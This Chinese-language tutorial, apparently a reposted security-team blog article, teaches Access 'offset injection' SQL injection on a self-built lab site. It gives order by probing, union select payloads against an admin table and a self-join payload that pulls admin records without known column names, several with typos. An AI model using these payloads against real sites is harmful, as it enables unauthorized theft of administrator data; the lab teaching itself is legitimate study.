大家好
今天整Access的偏移注入
网站是自己在虚拟机搭的,一共就两个文件
asp脚本:
数据库:
现在正式开始
先order by来跑字段数
如图,可以发现是字段数是7
现在构造联合查询
:union select1,2,3,4,5,6,7 from admin
“union”起到了连接两个语句的作用
这个是联合查询后,假设我们现在不知道admin表下的字段名,所以来用偏移注入方法是用‘*’这个符号代替最后一个数字,直到返回正常
1.asp?id=1 unionselect 1,2,3,4,5,6,* from admin
1.asp?id=1 union select 1,2,3,4,5,* fromadmin
1.asp?id=1 union select 1,2,3,4,* fromadmin
依次类推
order by的字段数- 2*(order by的字段数-联合查询的字段数)
比如说我们这个例子里就是:7 – 2 *(7 - 4),结果等于1
所以我们在偏移注入时就写成
:id=1 union select 1,a.id,b.id,* from (admin as a inner join admin asb on a.id = b.id)
查询之后,在不知道字段名称的情况下,查出了数据
如图所示
这里解释一下语句
首先,
红框所框起来的部分是将一张表虚拟成多张相同的表来进行查询,
里面的两个“admin” 就是要查询的表,
a.id和b.id中的id为表中的已知字段,毕竟一般每个表都有一个id字段
而如上图所示的部分即为前文公式所得出的个数,加上a.id和b.id最后加一个‘*’号即可,可以套用的。
总结
个人认为,偏移注入是找得到表名找不到字段名时进行注入的好方法,
但也存在着一定的局限性:
第一,它只能用于Access数据库;
第二,通过公式可以知道,
只有在admin表的字段的字段数的两倍减去news表的字段数大于等于1时,
才有可能进行偏移注入,不过Access偏移注入仍然是一个解决困难的好方法
本文由掘安技术小组研究室综合网络整理,图片来源于网络;转载请注明”转自掘安技术小组研究室“,并附上链接。
维权通道(客服中心):
投稿| ※白鬼※
照片| ※白鬼
责编| ※许心痕※
编辑| ※许心痕※
审核| ※许心痕※
领取专属 10元无门槛券
私享最新 技术干货